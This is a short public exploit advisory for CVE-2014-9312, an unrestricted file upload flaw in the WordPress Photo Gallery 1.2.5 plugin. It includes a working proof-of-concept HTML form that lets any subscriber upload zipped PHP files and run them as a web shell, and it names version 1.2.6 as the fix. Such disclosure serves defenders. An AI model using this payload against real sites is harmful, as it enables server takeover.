Photo Gallery 1.2.5 Shell Upload

`# Exploit Title: Photo Gallery 1.2.5 Unrestricted File Upload  
# Date: 11-11-2014  
# Software Link: https://wordpress.org/plugins/photo-gallery/  
# Exploit Author: Kacper Szurek  
# Contact: http://twitter.com/KacperSzurek  
# Website: http://security.szurek.pl/  
# CVE: CVE-2014-9312  
# Category: webapps  
  
1. Description  
  
Every registered user (even Subscriber) can access upload functionality because of read role used inside UploadHandler.php  
  
http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html  
  
2. Proof of Concept  
  
Login as regular user (created using wp-login.php?action=register).  
  
Pack .php files into .zip archive then send it using:  
  
<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data">  
<input type="file" name="files">  
<input type="submit" value="Hack!">  
</form>  
  
Your files will be visible inside:  
  
http://wordpress-install/wp-admin/rce/  
  
3. Solution:  
  
Update to version 1.2.6  
https://downloads.wordpress.org/plugin/photo-gallery.1.2.6.zip  
`